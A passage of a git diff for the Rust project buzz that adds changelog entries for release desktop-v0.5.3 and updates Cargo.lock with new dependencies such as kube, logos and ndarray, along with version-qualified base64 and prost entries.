+- test(desktop): click visible thread collapse guide ([#3800](https://github.com/block/buzz/pull/3800)) ([`b9e4ed616f39b812bc964e79c7a40223c4e93832`](https://github.com/block/buzz/commit/b9e4ed616f39b812bc964e79c7a40223c4e93832))
+- feat(desktop): raise the install ceiling and make installs observable ([#3368](https://github.com/block/buzz/pull/3368)) ([`d40a33290e75791aa7ecf3ce7a252b66c2e35966`](https://github.com/block/buzz/commit/d40a33290e75791aa7ecf3ce7a252b66c2e35966))
+- Add Devin as a preset ACP harness ([#3225](https://github.com/block/buzz/pull/3225)) ([`1b3ff96a5764303998fa629ff852e81f1a88d7ad`](https://github.com/block/buzz/commit/1b3ff96a5764303998fa629ff852e81f1a88d7ad))
+- feat(desktop): improve agent activity header ui ([#3321](https://github.com/block/buzz/pull/3321)) ([`4d47aa83455a9fd024121a596154cd311dca1d76`](https://github.com/block/buzz/commit/4d47aa83455a9fd024121a596154cd311dca1d76))
+- perf(presence): reduce heartbeat frequency ([#3783](https://github.com/block/buzz/pull/3783)) ([`bf139e8d0bdba10df9a5adbf16843140e0a78a59`](https://github.com/block/buzz/commit/bf139e8d0bdba10df9a5adbf16843140e0a78a59))
+- Tighten continuation message rows ([#3724](https://github.com/block/buzz/pull/3724)) ([`6e419b9f1c873549a7b40996970e0da7352adafb`](https://github.com/block/buzz/commit/6e419b9f1c873549a7b40996970e0da7352adafb))
+- Fix video reviews in thread replies ([#3719](https://github.com/block/buzz/pull/3719)) ([`f48f3f055fdd6030d3832f615f8c0d8e5a81261a`](https://github.com/block/buzz/commit/f48f3f055fdd6030d3832f615f8c0d8e5a81261a))
+- Make relay reconnect backoff authoritative ([#3774](https://github.com/block/buzz/pull/3774)) ([`cca8839034eb571a7ce943c3ace7f85a82330898`](https://github.com/block/buzz/commit/cca8839034eb571a7ce943c3ace7f85a82330898))
+- feat(desktop): add password-protected backups in settings ([#3701](https://github.com/block/buzz/pull/3701)) ([`bd0bff24bfd2cffa2b3b3a995f7628af5e460a5c`](https://github.com/block/buzz/commit/bd0bff24bfd2cffa2b3b3a995f7628af5e460a5c))
+- fix(desktop): reuse profiles when joining communities ([#2155](https://github.com/block/buzz/pull/2155)) ([`f44b5a2477f3979ae66e49153b11be36538cf859`](https://github.com/block/buzz/commit/f44b5a2477f3979ae66e49153b11be36538cf859))
+- fix(catalog): update Amp description ([#3758](https://github.com/block/buzz/pull/3758)) ([`61b96c9828d1dd54106b570d87a54edbc92bb9c4`](https://github.com/block/buzz/commit/61b96c9828d1dd54106b570d87a54edbc92bb9c4))
+- feat(catalog): resolve publisher display name in catalog detail pane ([#3640](https://github.com/block/buzz/pull/3640)) ([`02be413b823c356587e6e9f4d07f6cb06bb41c3c`](https://github.com/block/buzz/commit/02be413b823c356587e6e9f4d07f6cb06bb41c3c))
+- feat(mesh): upgrade embedded mesh to v0.74 and harden shared compute (split 1/2 of #3467) ([#3741](https://github.com/block/buzz/pull/3741)) ([`4933672eb4589e7208b312829ebddcd10dfa9dd3`](https://github.com/block/buzz/commit/4933672eb4589e7208b312829ebddcd10dfa9dd3))
+- Refine agent sharing dialog ([#3699](https://github.com/block/buzz/pull/3699)) ([`9a386a0defbf2b355ee17646c7c11817a535b85f`](https://github.com/block/buzz/commit/9a386a0defbf2b355ee17646c7c11817a535b85f))
+- desktop: enable getUserMedia in the Linux WebKitGTK webview ([#3607](https://github.com/block/buzz/pull/3607)) ([`c9aa55505c544c608ff71648bbfd21b235637f19`](https://github.com/block/buzz/commit/c9aa55505c544c608ff71648bbfd21b235637f19))
+- fix: align responsive agent views ([#3688](https://github.com/block/buzz/pull/3688)) ([`73589408db6fd96b87ac570935d414ecc4120f53`](https://github.com/block/buzz/commit/73589408db6fd96b87ac570935d414ecc4120f53))
+- Add macOS agent menu-bar menu ([#3565](https://github.com/block/buzz/pull/3565)) ([`d0a24bcb5210326da4c0b1e749ee3935621b329c`](https://github.com/block/buzz/commit/d0a24bcb5210326da4c0b1e749ee3935621b329c))
+- Fix pending message feedback ([#3543](https://github.com/block/buzz/pull/3543)) ([`4672ee55c4e4a7916c31bfeae5df2fb4384bed10`](https://github.com/block/buzz/commit/4672ee55c4e4a7916c31bfeae5df2fb4384bed10))
+- fix(desktop): remove remaining Projects panel fills ([#3742](https://github.com/block/buzz/pull/3742)) ([`c55e421a0629c74b9ffd96ee3ccde36f006196ed`](https://github.com/block/buzz/commit/c55e421a0629c74b9ffd96ee3ccde36f006196ed))
+- desktop: restore direct community member adds ([#3634](https://github.com/block/buzz/pull/3634)) ([`310df2ec33fbb075edf226ba18bf9a96d90ba81b`](https://github.com/block/buzz/commit/310df2ec33fbb075edf226ba18bf9a96d90ba81b))
+- fix(desktop): explain open agent access ([#2561](https://github.com/block/buzz/pull/2561)) ([`7fb008f9347b933b9a1da20a7afb070912b430e8`](https://github.com/block/buzz/commit/7fb008f9347b933b9a1da20a7afb070912b430e8))
+- fix(desktop): remove Projects overview card fills ([#3416](https://github.com/block/buzz/pull/3416)) ([`3b8567a05d4c40e667d061666feb7aa7bc38212d`](https://github.com/block/buzz/commit/3b8567a05d4c40e667d061666feb7aa7bc38212d))
+- fix(git): channel binding tooling + author remediation for unbound repos ([#3626](https://github.com/block/buzz/pull/3626)) ([`788b3c002bd2509455444f57f8a03a054b4b496a`](https://github.com/block/buzz/commit/788b3c002bd2509455444f57f8a03a054b4b496a))
+- feat: configure S3 URL addressing style ([#3400](https://github.com/block/buzz/pull/3400)) ([`7012d86d52fd188b27c7beedeaa132d9c1f61fa8`](https://github.com/block/buzz/commit/7012d86d52fd188b27c7beedeaa132d9c1f61fa8))
+- feat: add first-class OpenRouter provider support ([#1975](https://github.com/block/buzz/pull/1975)) ([`ab55fee81896d2b03edf5d2ca5012b715be2b93d`](https://github.com/block/buzz/commit/ab55fee81896d2b03edf5d2ca5012b715be2b93d))
+- feat(agent,acp): wire provider total_tokens through NIP-AM publish chain ([#3593](https://github.com/block/buzz/pull/3593)) ([`f95fdc1a102e17c6718a44323d9a2feaed702db7`](https://github.com/block/buzz/commit/f95fdc1a102e17c6718a44323d9a2feaed702db7))
+
+### Other repository changes
+
+- fix(release): require exact-head approval for desktop tags ([#3973](https://github.com/block/buzz/pull/3973)) ([`54c8ef30a9bb9c59a4415a8a7ee84c7c5454b48a`](https://github.com/block/buzz/commit/54c8ef30a9bb9c59a4415a8a7ee84c7c5454b48a))
+- fix(release): make desktop tagging squash-safe ([#3965](https://github.com/block/buzz/pull/3965)) ([`db7e84d4f815127236b9cb080c5d374f48eaac09`](https://github.com/block/buzz/commit/db7e84d4f815127236b9cb080c5d374f48eaac09))
+- docs(nips): add single-coordinate manual-unread override layer and verification model to NIP-RS ([#2864](https://github.com/block/buzz/pull/2864)) ([`209536ade6c5ebf7fa82671d7ca0b74f599a40cc`](https://github.com/block/buzz/commit/209536ade6c5ebf7fa82671d7ca0b74f599a40cc))
+- fix(release): make immutable desktop release operable ([#3943](https://github.com/block/buzz/pull/3943)) ([`052174a148f9f6bcbb2b5a1d20ce0317645e49f8`](https://github.com/block/buzz/commit/052174a148f9f6bcbb2b5a1d20ce0317645e49f8))
+- docs: add VISION_REMOTE_AGENTS.md ([#3924](https://github.com/block/buzz/pull/3924)) ([`689617af7ad420c3266d5d2eb437757371327089`](https://github.com/block/buzz/commit/689617af7ad420c3266d5d2eb437757371327089))
+- fix(relay): align NIP-11 max_limit with REQ ceiling ([#3635](https://github.com/block/buzz/pull/3635)) ([`23f0c26b1ceba8e07bf3c160a1e08c7bda82ccd9`](https://github.com/block/buzz/commit/23f0c26b1ceba8e07bf3c160a1e08c7bda82ccd9))
+- fix(db): isolate usage metrics advisory-lock test on scratch DB ([#3670](https://github.com/block/buzz/pull/3670)) ([`dba97eecd9d8659c9c816cd6666fa6d687b6bca1`](https://github.com/block/buzz/commit/dba97eecd9d8659c9c816cd6666fa6d687b6bca1))
+- feat(release): make desktop releases immutable ([#3568](https://github.com/block/buzz/pull/3568)) ([`1dfd89ea67b4ebce0c4d10390f280ed4e7ddde8a`](https://github.com/block/buzz/commit/1dfd89ea67b4ebce0c4d10390f280ed4e7ddde8a))
+- Render mobile agent mention chips ([#3702](https://github.com/block/buzz/pull/3702)) ([`06582ee6f09e5f7454e4d8895d80a45c3cdb5e8a`](https://github.com/block/buzz/commit/06582ee6f09e5f7454e4d8895d80a45c3cdb5e8a))
+- fix(acp): preserve truncated thread context ([#3340](https://github.com/block/buzz/pull/3340)) ([`53771c8f5439f9c5c26876f0229bfcfe5da9b170`](https://github.com/block/buzz/commit/53771c8f5439f9c5c26876f0229bfcfe5da9b170))
+- docs(nips): specify kind:30621 multi-repo projects (NIP-MP) ([#3163](https://github.com/block/buzz/pull/3163)) ([`33bf7caa6ea474ccde2932c1ed05a90d7345c6e0`](https://github.com/block/buzz/commit/33bf7caa6ea474ccde2932c1ed05a90d7345c6e0))
+- feat(mobile): desktop-parity emoji and thread experience ([#3485](https://github.com/block/buzz/pull/3485)) ([`85edc0572a8540dedfa6562d40f0f875af0b5f61`](https://github.com/block/buzz/commit/85edc0572a8540dedfa6562d40f0f875af0b5f61))
+- fix(cli): resolve agents from owner records ([#3178](https://github.com/block/buzz/pull/3178)) ([`262f2392e3b7e09c78d582fb384672034d8551d5`](https://github.com/block/buzz/commit/262f2392e3b7e09c78d582fb384672034d8551d5))
+- feat(replica): portable heartbeat-token fence with snapshot-local reader routing ([#3268](https://github.com/block/buzz/pull/3268)) ([`63496cc1d4c6f1b7c613801bdcc694169dcf391a`](https://github.com/block/buzz/commit/63496cc1d4c6f1b7c613801bdcc694169dcf391a))
+
+[Compare v0.5.2...desktop-v0.5.3](https://github.com/block/buzz/compare/v0.5.2...desktop-v0.5.3)
+
 ## v0.5.2
 
 - feat(cli): mirror Desktop mention delivery ([#3330](https://github.com/block/buzz/pull/3330)) ([`7adc46268`](https://github.com/block/buzz/commit/7adc46268d5e93f0b1d4dc8e700af22815dcac1b))
diff --git a/Cargo.lock b/Cargo.lock
index 8574274303..73ecb249d4 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -52,6 +52,7 @@ dependencies = [
  "cfg-if 1.0.4",
  "getrandom 0.3.4",
  "once_cell",
+ "serde",
  "version_check",
  "zerocopy",
 ]
@@ -144,7 +145,7 @@ checksum = "5d0a66767aaf7d483c556386fb68ca2fba9347684d8bb17a4bd8b755851870f7"
 dependencies = [
  "arrayvec",
  "aws-lc-rs",
- "base64",
+ "base64 0.22.1",
  "byteorder",
  "minicbor",
  "rustls-pki-types",
@@ -409,13 +410,23 @@ version = "1.1.2"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1505bd5d3d116872e7271a6d4e16d81d0c8570876c8de68093a09ac269d8aac0"
 
+[[package]]
+name = "atomic-write-file"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "84790c55b5704b0d35130bf16a4ce22a8e70eb0ea773522557524d9a4852663d"
+dependencies = [
+ "nix 0.30.1",
+ "rand 0.9.4",
+]
+
 [[package]]
 name = "attohttpc"
 version = "0.30.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "16e2cdb6d5ed835199484bb92bb8b3edd526effe995c61732580439c1a67e2e9"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "http",
  "log",
  "rustls",
@@ -486,7 +497,7 @@ checksum = "31b698c5f9a010f6573133b09e0de5408834d0c82f8d7475a89fc1867a71cd90"
 dependencies = [
  "axum-core",
  "axum-macros",
- "base64",
+ "base64 0.22.1",
  "bytes",
  "form_urlencoded",
  "futures-util",
@@ -562,6 +573,12 @@ version = "1.0.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "fd307490d624467aa6f74b0eabb77633d1f758a7b25f12bceb0b22e08d9726f6"
 
+[[package]]
+name = "base64"
+version = "0.13.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9e1b586273c5702936fe7b7d6896644d8be71e6314cfe09d3167c95f712589e8"
+
 [[package]]
 name = "base64"
 version = "0.22.1"
@@ -580,6 +597,12 @@ version = "0.11.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "32637268377fc7b10a8c6d51de3e7fba1ce5dd371a96e342b34e6078db558e7f"
 
+[[package]]
+name = "beef"
+version = "0.5.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3a8241f3ebb85c056b509d4327ad0358fbbba6ffb340bf388f26350aeda225b1"
+
 [[package]]
 name = "bip39"
 version = "2.2.2"
@@ -778,7 +801,7 @@ name = "buzz-acp"
 version = "0.1.0"
 dependencies = [
  "anyhow",
- "base64",
+ "base64 0.22.1",
  "buzz-core",
  "buzz-persona",
  "buzz-sdk",
@@ -838,7 +861,7 @@ dependencies = [
  "arc-swap",
  "async-trait",
  "axum",
- "base64",
+ "base64 0.22.1",
  "getrandom 0.4.3",
  "hex",
  "nix 0.31.3",
@@ -892,12 +915,32 @@ dependencies = [
  "uuid",
 ]
 
+[[package]]
+name = "buzz-backend-kubernetes"
+version = "0.1.0"
+dependencies = [
+ "chrono",
+ "hex",
+ "http",
+ "http-body-util",
+ "k8s-openapi",
+ "kube",
+ "nostr",
+ "rand 0.10.1",
+ "rustls",
+ "serde",
+ "serde_json",
+ "sha2 0.11.0",
+ "tokio",
+ "tower",
+]
+
 [[package]]
 name = "buzz-cli"
 version = "0.1.0"
 dependencies = [
  "axum",
- "base64",
+ "base64 0.22.1",
  "buzz-core",
  "buzz-persona",
  "buzz-sdk",
@@ -938,7 +981,7 @@ dependencies = [
 name = "buzz-core"
 version = "0.1.0"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "chrono",
  "hex",
  "hmac 0.13.0",
@@ -980,7 +1023,7 @@ dependencies = [
 name = "buzz-dev-mcp"
 version = "0.1.0"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "buzz-cli",
  "buzz-core",
  "git-credential-nostr",
@@ -1107,7 +1150,7 @@ dependencies = [
  "appattest",
  "async-trait",
  "axum",
- "base64",
+ "base64 0.22.1",
  "byteorder",
  "chrono",
  "getrandom 0.4.3",
@@ -1142,7 +1185,7 @@ dependencies = [
  "async-compression",
  "async-trait",
  "axum",
- "base64",
+ "base64 0.22.1",
  "buzz-audit",
  "buzz-auth",
  "buzz-conformance",
@@ -1153,11 +1196,13 @@ dependencies = [
  "buzz-relay-mesh",
  "buzz-sdk",
  "buzz-search",
+ "buzz-test-client",
  "buzz-workflow",
  "bytes",
  "chrono",
  "dashmap",
  "deadpool-redis",
+ "ed25519-dalek",
  "flate2",
  "futures",
  "futures-util",
@@ -1252,7 +1297,7 @@ name = "buzz-test-client"
 version = "0.1.0"
 dependencies = [
  "anyhow",
- "base64",
+ "base64 0.22.1",
  "buzz-core",
  "buzz-media",
  "buzz-sdk",
@@ -1278,6 +1323,25 @@ dependencies = [
  "uuid",
 ]
 
+[[package]]
+name = "buzz-voice"
+version = "0.1.0"
+dependencies = [
+ "atomic-write-file",
+ "hex",
+ "ort",
+ "ort-sys",
+ "rand 0.10.1",
+ "sentencepiece-model",
+ "serde",
+ "serde_json",
+ "sha2 0.11.0",
+ "sherpa-onnx",
+ "symphonia",
+ "tempfile",
+ "tokenizers",
+]
+
 [[package]]
 name = "buzz-workflow"
 version = "0.1.0"
@@ -1345,6 +1409,26 @@ version = "1.11.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1e748733b7cbc798e1434b6ac524f0c1ff2ab456fe201501e6497c8417a4fc33"
 
+[[package]]
+name = "bzip2"
+version = "0.4.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "bdb116a6ef3f6c3698828873ad02c3014b3c85cadb88496095628e3ef1e347f8"
+dependencies = [
+ "bzip2-sys",
+ "libc",
+]
+
+[[package]]
+name = "bzip2-sys"
+version = "0.1.13+1.0.8"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "225bff33b2141874fe80d71e07d6eec4f85c5c216453dd96388240f96e1acc14"
+dependencies = [
+ "cc",
+ "pkg-config",
+]
+
 [[package]]
 name = "castaway"
 version = "0.2.4"
@@ -1593,6 +1677,7 @@ dependencies = [
  "itoa",
  "rustversion",
  "ryu",
+ "serde",
  "static_assertions",
 ]
 
@@ -2153,6 +2238,15 @@ dependencies = [
  "syn 2.0.117",
 ]
 
+[[package]]
+name = "dary_heap"
+version = "0.3.9"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "8b1e3a325bc115f096c8b77bbf027a7c2592230e70be2d985be950d3d5e60ebe"
+dependencies = [
+ "serde",
+]
+
 [[package]]
 name = "dashmap"
 version = "6.2.1"
@@ -2642,6 +2736,12 @@ dependencies = [
  "windows-sys 0.61.2",
 ]
 
+[[package]]
+name = "esaxx-rs"
+version = "0.1.10"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d817e038c30374a4bcb22f94d0a8a0e216958d4c3dcde369b1439fec4bdda6e6"
+
 [[package]]
 name = "etcetera"
 version = "0.11.0"
@@ -2699,6 +2799,12 @@ dependencies = [
  "smallvec",
 ]
 
+[[package]]
+name = "extended"
+version = "0.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "af9673d8203fcb076b19dfd17e38b3d4ae9f44959416ea532ce72415a6020365"
+
 [[package]]
 name = "fancy-regex"
 version = "0.11.0"
@@ -2709,6 +2815,17 @@ dependencies = [
  "regex",
 ]
 
+[[package]]
+name = "fancy-regex"
+version = "0.14.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6e24cb5a94bcae1e5408b0effca5cd7172ea3c5755049c5f3af4cd283a165298"
+dependencies = [
+ "bit-set 0.8.0",
+ "regex-automata",
+ "regex-syntax",
+]
+
 [[package]]
 name = "fast-srgb8"
 version = "1.0.0"
@@ -3022,8 +3139,8 @@ dependencies = [
  "libc",
  "log",
  "rustversion",
- "windows-link 0.1.3",
- "windows-result 0.3.4",
+ "windows-link 0.2.1",
+ "windows-result 0.4.1",
 ]
 
 [[package]]
@@ -3100,7 +3217,7 @@ dependencies = [
 name = "git-credential-nostr"
 version = "0.1.0"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "nostr",
  "serde_json",
  "zeroize",
@@ -3110,7 +3227,7 @@ dependencies = [
 name = "git-sign-nostr"
 version = "0.1.0"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "chrono",
  "hex",
  "libc",
@@ -3285,7 +3402,7 @@ version = "1.0.0-rc.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "5f89305dc8fe34e165eaf0eb12b6e294e12381d9df9a431bcc52a5809bab4319"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "bon",
  "bytes",
  "futures",
@@ -3548,6 +3665,7 @@ dependencies = [
  "http",
  "hyper",
  "hyper-util",
+ "log",
  "rustls",
  "rustls-native-certs",
  "tokio",
@@ -3591,7 +3709,7 @@ version = "0.1.20"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "96547c2556ec9d12fb1578c4eaf448b04993e7fb79cbaad930a656880a6bdfa0"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "bytes",
  "futures-channel",
  "futures-util",
@@ -3622,7 +3740,7 @@ dependencies = [
  "js-sys",
  "log",
  "wasm-bindgen",
- "windows-core 0.61.2",
+ "windows-core 0.62.2",
 ]
 
 [[package]]
@@ -4208,6 +4326,31 @@ dependencies = [
  "ucd-trie",
 ]
 
+[[package]]
+name = "jsonpath-rust"
+version = "0.7.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0c00ae348f9f8fd2d09f82a98ca381c60df9e0820d8d79fce43e649b4dc3128b"
+dependencies = [
+ "pest",
+ "pest_derive",
+ "regex",
+ "serde_json",
+ "thiserror 2.0.18",
+]
+
+[[package]]
+name = "k8s-openapi"
+version = "0.26.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "06d9e5e61dd037cdc51da0d7e2b2be10f497478ea7e120d85dad632adb99882b"
+dependencies = [
+ "base64 0.22.1",
+ "chrono",
+ "serde",
+ "serde_json",
+]
+
 [[package]]
 name = "kasuari"
 version = "0.4.12"
@@ -4253,6 +4396,70 @@ version = "0.4.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "e037a2e1d8d5fdbd49b16a4ea09d5d6401c1f29eca5ff29d03d3824dba16256a"
 
+[[package]]
+name = "kube"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "48e7bb0b6a46502cc20e4575b6ff401af45cfea150b34ba272a3410b78aa014e"
+dependencies = [
+ "k8s-openapi",
+ "kube-client",
+ "kube-core",
+]
+
+[[package]]
+name = "kube-client"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4987d57a184d2b5294fdad3d7fc7f278899469d21a4da39a8f6ca16426567a36"
+dependencies = [
+ "base64 0.22.1",
+ "bytes",
+ "chrono",
+ "either",
+ "futures",
+ "home",
+ "http",
+ "http-body",
+ "http-body-util",
+ "hyper",
+ "hyper-rustls",
+ "hyper-timeout",
+ "hyper-util",
+ "jsonpath-rust",
+ "k8s-openapi",
+ "kube-core",
+ "pem",
+ "rustls",
+ "secrecy",
+ "serde",
+ "serde_json",
+ "serde_yaml",
+ "thiserror 2.0.18",
+ "tokio",
+ "tokio-util",
+ "tower",
+ "tower-http",
+ "tracing",
+]
+
+[[package]]
+name = "kube-core"
+version = "2.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "914bbb770e7bb721a06e3538c0edd2babed46447d128f7c21caa68747060ee73"
+dependencies = [
+ "chrono",
+ "derive_more",
+ "form_urlencoded",
+ "http",
+ "k8s-openapi",
+ "serde",
+ "serde-value",
+ "serde_json",
+ "thiserror 2.0.18",
+]
+
 [[package]]
 name = "lab"
 version = "0.11.0"
@@ -4375,6 +4582,39 @@ version = "0.4.29"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
 
+[[package]]
+name = "logos"
+version = "0.14.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7251356ef8cb7aec833ddf598c6cb24d17b689d20b993f9d11a3d764e34e6458"
+dependencies = [
+ "logos-derive",
+]
+
+[[package]]
+name = "logos-codegen"
+version = "0.14.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "59f80069600c0d66734f5ff52cc42f2dabd6b29d205f333d61fd7832e9e9963f"
+dependencies = [
+ "beef",
+ "fnv",
+ "lazy_static",
+ "proc-macro2",
+ "quote",
+ "regex-syntax",
+ "syn 2.0.117",
+]
+
+[[package]]
+name = "logos-derive"
+version = "0.14.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "24fb722b06a9dc12adb0963ed585f19fc61dc5413e6a9be9422ef92c091e731d"
+dependencies = [
+ "logos-codegen",
+]
+
 [[package]]
 name = "loom"
 version = "0.7.2"
@@ -4434,6 +4674,22 @@ dependencies = [
  "winapi",
 ]
 
+[[package]]
+name = "macro_rules_attribute"
+version = "0.2.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "b3ae8f6d608c795738406608304d30a2dfbdc8e58e44f7ba43236da5208ded3c"
+dependencies = [
+ "macro_rules_attribute-proc_macro",
+ "pastey",
+]
+
+[[package]]
+name = "macro_rules_attribute-proc_macro"
+version = "0.2.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fc04a4c58212d57930a24bf47d3fa87485264a3a054e9c10e042eb373573ad3c"
+
 [[package]]
 name = "matchers"
 version = "0.2.0"
@@ -4449,6 +4705,16 @@ version = "0.8.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "47e1ffaa40ddd1f3ed91f717a33c8c0ee23fff369e3aa8772b9605cc1d22f4c3"
 
+[[package]]
+name = "matrixmultiply"
+version = "0.3.11"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3f607c237553f086e7043417a51df26b2eb899d3caff94e6a67592ff992fedc7"
+dependencies = [
+ "autocfg",
+ "rawpointer",
+]
+
 [[package]]
 name = "maybe-async"
 version = "0.2.11"
@@ -4545,7 +4811,7 @@ source = "git+https://github.com/Mesh-LLM/mesh-llm.git?tag=v0.74.0#e60b2fe43aa05
 dependencies = [
  "anyhow",
  "async-trait",
- "base64",
+ "base64 0.22.1",
  "bytes",
  "crypto_box",
  "ed25519-dalek",
@@ -4558,7 +4824,7 @@ dependencies = [
  "mesh-llm-types",
  "model-artifact",
  "nostr-sdk",
- "prost",
+ "prost 0.14.3",
  "rand 0.10.1",
  "rustls",
  "serde",
@@ -4647,7 +4913,7 @@ dependencies = [
  "argon2",
  "async-trait",
  "axum",
- "base64",
+ "base64 0.22.1",
  "bytes",
  "chacha20poly1305",
  "chrono",
@@ -4696,7 +4962,7 @@ dependencies = [
  "opentelemetry 0.31.0",
  "opentelemetry-otlp 0.31.1",
  "opentelemetry_sdk 0.31.0",
- "prost",
+ "prost 0.14.3",
  "rand 0.10.1",
  "regex-lite",
  "reqwest 0.12.28",
@@ -4737,7 +5003,7 @@ version = "0.74.0"
 source = "git+https://github.com/Mesh-LLM/mesh-llm.git?tag=v0.74.0#e60b2fe43aa05271569fbeff2a457133aef456a1"
 dependencies = [
  "argon2",
- "base64",
+ "base64 0.22.1",
  "chacha20poly1305",
  "chrono",
  "crypto_box",
@@ -4785,8 +5051,8 @@ source = "git+https://github.com/Mesh-LLM/mesh-llm.git?tag=v0.74.0#e60b2fe43aa05
 dependencies = [
  "anyhow",
  "async-trait",
- "prost",
- "prost-build",
+ "prost 0.14.3",
+ "prost-build 0.14.3",
  "protoc-bin-vendored",
  "rmcp",
  "schemars",
@@ -4822,7 +5088,7 @@ dependencies = [
  "anyhow",
  "hex",
  "iroh",
- "prost",
+ "prost 0.14.3",
  "serde_json",
  "sha2 0.10.9",
 ]
@@ -4953,7 +5219,7 @@ version = "0.18.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "1db0d8f1fc9e62caebd0319e11eaec5822b0186c171568f0480b46a0137f9108"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "evmap",
  "http-body-util",
  "hyper",
@@ -4991,6 +5257,28 @@ dependencies = [
  "sketches-ddsketch",
 ]
 
+[[package]]
+name = "miette"
+version = "7.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "5f98efec8807c63c752b5bd61f862c165c115b0a35685bdcfd9238c7aeb592b7"
+dependencies = [
+ "cfg-if 1.0.4",
+ "miette-derive",
+ "unicode-width 0.1.14",
+]
+
+[[package]]
+name = "miette-derive"
+version = "7.6.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "db5b29714e950dbb20d5e6f74f9dcec4edbcc1067bb7f8ed198c097b8c1a818b"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.117",
+]
+
 [[package]]
 name = "mime"
 version = "0.3.17"
@@ -5136,6 +5424,28 @@ dependencies = [
  "uuid",
 ]
 
+[[package]]
+name = "monostate"
+version = "0.1.18"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "3341a273f6c9d5bef1908f17b7267bbab0e95c9bf69a0d4dcf8e9e1b2c76ef67"
+dependencies = [
+ "monostate-impl",
+ "serde",
+ "serde_core",
+]
+
+[[package]]
+name = "monostate-impl"
+version = "0.1.18"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e4db6d5580af57bf992f59068d4ea26fd518574ff48d7639b255a36f9de6e7e9"
+dependencies = [
+ "proc-macro2",
+ "quote",
+ "syn 2.0.117",
+]
+
 [[package]]
 name = "more-asserts"
 version = "0.3.1"
@@ -5242,6 +5552,21 @@ dependencies = [
  "tempfile",
 ]
 
+[[package]]
+name = "ndarray"
+version = "0.17.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "520080814a7a6b4a6e9070823bb24b4531daac8c4627e08ba5de8c5ef2f2752d"
+dependencies = [
+ "matrixmultiply",
+ "num-complex",
+ "num-integer",
+ "num-traits",
+ "portable-atomic",
+ "portable-atomic-util",
+ "rawpointer",
+]
+
 [[package]]
 name = "ndk-context"
 version = "0.1.1"
@@ -5388,6 +5713,18 @@ dependencies = [
  "memoffset",
 ]
 
+[[package]]
+name = "nix"
+version = "0.30.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
+dependencies = [
+ "bitflags 2.13.0",
+ "cfg-if 1.0.4",
+ "cfg_aliases",
+ "libc",
+]
+
 [[package]]
 name = "nix"
 version = "0.31.3"
@@ -5478,7 +5815,7 @@ version = "0.44.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c7d3d987ea7078dc36947cde532637c472a229426702e4331dd7667325378bd9"
 dependencies = [
- "base64",
+ "base64 0.22.1",
  "bech32",
  "bip39",
  "bitcoin_hashes",
@@ -5949,7 +6286,7 @@ dependencies = [
  "opentelemetry-http",
  "opentelemetry-proto 0.31.0",
  "opentelemetry_sdk 0.31.0",
- "prost",
+ "prost 0.14.3",
  "reqwest 0.12.28",
  "thiserror 2.0.18",
 ]
@@ -5964,7 +6301,7 @@ dependencies = [
  "opentelemetry 0.32.0",
  "opentelemetry-proto 0.32.0",
  "opentelemetry_sdk 0.32.1",
- "prost",
+ "prost 0.14.3",
  "thiserror 2.0.18",
  "tokio",
  "tonic",
@@ -5977,11 +6314,11 @@ version = "0.31.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a7175df06de5eaee9909d4805a3d07e28bb752c34cab57fa9cff549da596b30f"
 dependencies = [
- "base64",
